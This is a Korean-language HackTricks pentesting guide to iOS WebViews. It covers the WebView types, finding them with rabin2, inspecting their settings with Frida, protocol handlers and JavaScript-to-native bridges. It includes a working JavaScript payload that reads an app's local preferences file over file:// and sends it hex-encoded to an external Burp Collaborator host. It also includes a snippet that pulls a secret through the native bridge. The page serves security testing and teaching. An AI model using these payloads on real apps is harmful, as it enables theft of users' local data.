hacktricks/mobile-pentesting/ios-pentesting/ios-webviews.md
2024-02-10 21:30:13 +00:00

291 lines
18 KiB
Markdown

# iOS 웹뷰
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>
이 페이지의 코드는 [여기](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)에서 추출되었습니다. 자세한 내용은 해당 페이지를 확인하세요.
## 웹뷰 유형
웹뷰는 애플리케이션 내에서 웹 콘텐츠를 대화식으로 표시하는 데 사용됩니다. iOS 애플리케이션에는 다양한 유형의 웹뷰가 있으며 다른 기능과 보안 기능을 제공합니다. 간단한 개요는 다음과 같습니다:
- **UIWebView**는 iOS 12 이후에 권장되지 않으며 **JavaScript**를 비활성화할 수 없어 스크립트 주입 및 **Cross-Site Scripting (XSS)** 공격에 취약합니다.
- **WKWebView**는 앱에 웹 콘텐츠를 통합하는 우선적인 옵션으로, 콘텐츠와 보안 기능에 대한 향상된 제어를 제공합니다. **JavaScript**는 기본적으로 활성화되어 있지만 필요한 경우 비활성화할 수 있습니다. 또한 자바스크립트가 자동으로 창을 열지 않도록하는 기능을 지원하며 모든 콘텐츠가 안전하게 로드되도록 보장합니다. 또한 **WKWebView**의 아키텍처는 주요 앱 프로세스에 영향을 미치는 메모리 손상 위험을 최소화합니다.
- **SFSafariViewController**는 앱 내에서 표준화된 웹 브라우징 경험을 제공하며, 읽기 전용 주소 필드, 공유 및 탐색 버튼, Safari에서 콘텐츠를 열기 위한 직접 링크를 포함한 특정 레이아웃으로 인식됩니다. **WKWebView**와 달리 **SFSafariViewController**에서는 **JavaScript**를 비활성화할 수 없으며, 앱과 Safari가 쿠키와 데이터를 공유하여 사용자의 개인 정보를 유지합니다. App Store 가이드라인에 따라 눈에 잘 띄게 표시되어야 합니다.
```javascript
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
```
## 웹뷰 구성 탐색 요약
### **정적 분석 개요**
**웹뷰** 구성을 조사하는 과정에서 두 가지 주요 유형인 **UIWebView**와 **WKWebView**에 초점을 맞추고 있습니다. 바이너리 내에서 이러한 웹뷰를 식별하기 위해 특정 클래스 참조와 초기화 메서드를 검색하는 명령을 사용합니다.
- **UIWebView 식별**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
```
이 명령은 이진 파일에서 관련된 텍스트 문자열을 검색하여 **UIWebView**의 인스턴스를 찾는 데 도움이 됩니다.
- **WKWebView 식별**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
```
마찬가지로, **WKWebView**에 대해서는 이 명령어가 해당 사용법을 나타내는 텍스트 문자열을 바이너리에서 검색합니다.
또한, **WKWebView**가 어떻게 초기화되는지 찾기 위해 다음 명령어가 실행되며, 초기화와 관련된 메서드 시그니처를 대상으로 합니다:
```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
```
#### **JavaScript 구성 확인**
**WKWebView**의 경우, 필요하지 않은 경우 JavaScript를 비활성화하는 것이 좋은 방법이라고 강조되고 있습니다. 컴파일된 이진 파일을 검색하여 `javaScriptEnabled` 속성이 `false`로 설정되어 JavaScript가 비활성화되었는지 확인합니다.
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
```
#### **Only Secure Content Verification (보안 콘텐츠 확인)**
**WKWebView**는 **UIWebView**와는 달리 혼합된 콘텐츠 문제를 식별하는 기능을 제공합니다. 이는 `hasOnlySecureContent` 속성을 사용하여 모든 페이지 리소스가 안전한 연결을 통해 로드되었는지 확인합니다. 컴파일된 이진 파일에서의 검색은 다음과 같이 수행됩니다:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```
### **동적 분석 통찰력**
동적 분석은 WebView 인스턴스와 해당 속성을 검사하는 것을 의미합니다. `webviews_inspector.js`라는 스크립트를 사용하여 `UIWebView`, `WKWebView``SFSafariViewController` 인스턴스를 대상으로 합니다. 이 스크립트는 URL 및 JavaScript 및 보안 콘텐츠와 관련된 설정과 함께 찾은 인스턴스에 대한 정보를 기록합니다.
힙 검사는 `ObjC.choose()`를 사용하여 WebView 인스턴스를 식별하고 `javaScriptEnabled``hasonlysecurecontent` 속성을 확인할 수 있습니다.
{% code title="webviews_inspector.js" %}
```javascript
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
```
{% endcode %}
다음과 같이 스크립트가 실행됩니다:
```bash
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
```
**주요 결과**:
- WebView의 인스턴스를 성공적으로 찾고 검사합니다.
- JavaScript 활성화 및 안전한 콘텐츠 설정을 확인합니다.
이 요약은 WebView 구성을 정적 및 동적 접근 방식을 통해 분석하는 데 관련된 중요한 단계와 명령을 요약한 것으로, JavaScript 활성화 및 혼합 콘텐츠 감지와 같은 보안 기능에 초점을 맞추고 있습니다.
## WebView 프로토콜 처리
WebView에서 콘텐츠를 처리하는 것은 특히 `http(s)://`, `file://`, `tel://`와 같은 다양한 프로토콜을 다룰 때 중요한 측면입니다. 이러한 프로토콜은 앱 내에서 원격 및 로컬 콘텐츠를 로드할 수 있게 합니다. 로컬 콘텐츠를 로드할 때는 사용자가 파일 이름이나 경로를 조작하거나 콘텐츠 자체를 편집하는 것을 방지하기 위해 주의가 필요합니다.
**WebViews**는 콘텐츠 로딩을 위해 다양한 메서드를 제공합니다. **UIWebView**는 현재 사용이 중단된 상태이지만, `loadHTMLString:baseURL:``loadData:MIMEType:textEncodingName:baseURL:`과 같은 메서드를 사용합니다. 반면 **WKWebView**는 웹 콘텐츠를 위해 `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:``loadRequest:`를 사용합니다. 로컬 파일을 로드하기 위해 일반적으로 `pathForResource:ofType:`, `URLForResource:withExtension:`, `init(contentsOf:encoding:)`과 같은 메서드를 사용합니다. 특히 `loadFileURL:allowingReadAccessToURL:` 메서드는 WebView에 특정 URL이나 디렉토리를 로드할 수 있으며, 디렉토리가 지정된 경우 민감한 데이터가 노출될 수 있습니다.
이러한 메서드를 소스 코드나 컴파일된 이진 파일에서 찾으려면 다음과 같은 명령을 사용할 수 있습니다:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```
**파일 액세스**에 관해서, UIWebView는 일반적으로 허용하지만, WKWebView는 기본적으로 `allowFileAccessFromFileURLs``allowUniversalAccessFromFileURLs` 설정을 도입하여 파일 URL로부터의 액세스를 관리합니다. 두 설정 모두 기본적으로 false로 설정되어 있습니다.
보안 설정을 위해 **WKWebView** 구성을 검사하는 Frida 스크립트 예제가 제공됩니다:
```bash
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
```
마지막으로, 로컬 파일을 유출하기 위한 JavaScript 페이로드의 예는 잘못 구성된 WebView와 관련된 잠재적인 보안 위험을 보여줍니다. 이 페이로드는 파일 내용을 16진수 형식으로 인코딩한 후 서버로 전송합니다. 이는 WebView 구현에서 엄격한 보안 조치의 중요성을 강조합니다.
```javascript
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
```
## 웹뷰를 통해 노출된 네이티브 메서드
## iOS에서 웹뷰 네이티브 인터페이스 이해하기
iOS 7부터 Apple은 **웹뷰 내의 JavaScript와 네이티브** Swift 또는 Objective-C 객체 간의 통신을 위한 API를 제공했습니다. 이 통합은 주로 두 가지 방법을 통해 이루어집니다:
- **JSContext**: Swift 또는 Objective-C 블록이 `JSContext` 내의 식별자에 연결될 때 자동으로 JavaScript 함수가 생성됩니다. 이를 통해 JavaScript와 네이티브 코드 간의 원활한 통합과 통신이 가능해집니다.
- **JSExport 프로토콜**: `JSExport` 프로토콜을 상속함으로써 네이티브 속성, 인스턴스 메서드 및 클래스 메서드를 JavaScript에 노출시킬 수 있습니다. 이는 JavaScript 환경에서 수행된 변경 사항이 네이티브 환경에 반영되고 그 반대도 가능함을 의미합니다. 그러나 이 방법을 통해 민감한 데이터가 무심코 노출되지 않도록 주의해야 합니다.
### Objective-C에서 `JSContext`에 접근하기
Objective-C에서 `UIWebView``JSContext`는 다음 코드로 검색할 수 있습니다:
```objc
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
```
### `WKWebView`과의 통신
`WKWebView`에서는 `JSContext`에 직접적인 접근이 불가능합니다. 대신, `postMessage` 함수를 통해 메시지 전달이 이루어지며, 이를 통해 JavaScript와 네이티브 간의 통신이 가능해집니다. 이러한 메시지에 대한 핸들러는 다음과 같이 설정되며, 이를 통해 JavaScript가 네이티브 애플리케이션과 안전하게 상호작용할 수 있습니다:
```swift
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
```
### 상호작용 및 테스트
JavaScript는 스크립트 메시지 핸들러를 정의함으로써 네이티브 레이어와 상호작용할 수 있습니다. 이를 통해 웹페이지에서 네이티브 함수를 호출하는 등의 작업이 가능합니다:
```javascript
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
```
네이티브 함수 호출의 결과를 캡처하고 조작하기 위해 HTML 내에서 콜백 함수를 재정의할 수 있습니다:
```html
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>
```
네이티브 측면에서는 `JavaScriptBridgeMessageHandler` 클래스에서 JavaScript 호출을 처리합니다. 여기서 숫자를 곱하는 등의 작업 결과가 처리되고 JavaScript로 다시 전송되어 표시되거나 추가 조작을 위해 사용됩니다.
```swift
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
```
## iOS WebViews 디버깅
([https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews)의 튜토리얼을 기반으로 한 자습서)
iOS 웹뷰 내에서 웹 콘텐츠를 효과적으로 디버깅하기 위해서는 `console.log()`로 보낸 메시지가 Xcode 로그에 표시되지 않기 때문에 Safari의 개발자 도구를 사용하는 특정 설정이 필요합니다. 다음은 주요 단계와 요구 사항을 강조한 간소화된 가이드입니다.
- **iOS 기기에서의 준비**: iOS 기기에서 Safari 웹 인스펙터를 활성화해야 합니다. 이를 위해 **설정 > Safari > 고급**으로 이동하여 _웹 인스펙터_를 활성화합니다.
- **macOS 기기에서의 준비**: macOS 개발 기기에서 Safari 내에서 개발자 도구를 활성화해야 합니다. Safari를 실행하고 **Safari > 기본 설정 > 고급**에 액세스하여 _개발자 메뉴 표시_ 옵션을 선택합니다.
- **연결 및 디버깅**: iOS 기기를 macOS 컴퓨터에 연결하고 애플리케이션을 실행한 후, macOS 기기의 Safari를 사용하여 디버깅하려는 웹뷰를 선택합니다. Safari의 메뉴 바에서 _개발_로 이동하고, iOS 기기의 이름 위로 마우스를 올려 웹뷰 인스턴스 목록을 확인한 후, 검사하려는 인스턴스를 선택합니다. 이를 위해 새로운 Safari 웹 인스펙터 창이 열립니다.
그러나 제한 사항을 염두에 두세요:
- 이 방법으로 디버깅하려면 macOS 기기가 필요하며, Safari에 의존합니다.
- Xcode를 통해 기기에 로드된 애플리케이션의 웹뷰만 디버깅할 수 있습니다. App Store나 Apple Configurator를 통해 설치된 앱의 웹뷰는 이 방법으로 디버깅할 수 없습니다.
## 참고 자료
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details>